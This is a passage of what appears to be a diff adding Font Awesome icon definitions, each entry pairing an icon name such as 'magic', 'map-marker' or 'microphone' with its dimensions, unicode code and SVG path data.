,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z" ], + magic: [ 512, 512, [], "f0d0", "M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z" ], + magnet: [ 512, 512, [], "f076", "M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z" ], + "mail-bulk": [ 576, 512, [], "f674", "M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z" ], + male: [ 192, 512, [], "f183", "M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z" ], + map: [ 576, 512, [], "f279", "M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marked": [ 576, 512, [], "f59f", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marked-alt": [ 576, 512, [], "f5a0", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z" ], + "map-marker": [ 384, 512, [], "f041", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z" ], + "map-marker-alt": [ 384, 512, [], "f3c5", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z" ], + "map-pin": [ 288, 512, [], "f276", "M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z" ], + "map-signs": [ 512, 512, [], "f277", "M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z" ], + marker: [ 512, 512, [], "f5a1", "M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z" ], + mars: [ 384, 512, [], "f222", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "mars-double": [ 512, 512, [], "f227", "M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z" ], + "mars-stroke": [ 384, 512, [], "f229", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + "mars-stroke-h": [ 480, 512, [], "f22b", "M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" ], + "mars-stroke-v": [ 288, 512, [], "f22a", "M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z" ], + mask: [ 640, 512, [], "f6fa", "M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z" ], + medal: [ 512, 512, [], "f5a2", "M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z" ], + medkit: [ 512, 512, [], "f0fa", "M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z" ], + meh: [ 496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "meh-blank": [ 496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "meh-rolling-eyes": [ 496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z" ], + memory: [ 640, 512, [], "f538", "M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z" ], + menorah: [ 640, 512, [], "f676", "M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z" ], + mercury: [ 288, 512, [], "f223", "M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" ], + meteor: [ 512, 512, [], "f753", "M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z" ], + microchip: [ 512, 512, [], "f2db", "M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z" ], + microphone: [ 352, 512, [], "f130", "M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z" ], + "microphone-alt": [ 352, 512, [], "f3c9", "M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z" ], + "microphone-alt-slash": [ 640, 512, [], "f539", "M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" ], + "microphone-slash": [ 640, 512, [], "f131", "M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" ], + microscope: [ 512, 512, [], "f610", "M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z" ], + minus: [ 448, 512, [], "f068", "M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + "minus-circle": [ 512, 512, [], "f056", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z" ], + "minus-square": [ 448, 512, [], "f146", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z" ], + mitten: [ 448, 512, [], "f7b5", "M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z" ], + mobile: [ 320, 512, [], "f10b", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "mobile-alt": [ 320, 512, [], "f3cd", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z" ], + "money-bill": [ 640, 512, [], "f0d6", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z" ], + "money-bill-alt": [ 640, 512, [], "f3d1", "M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 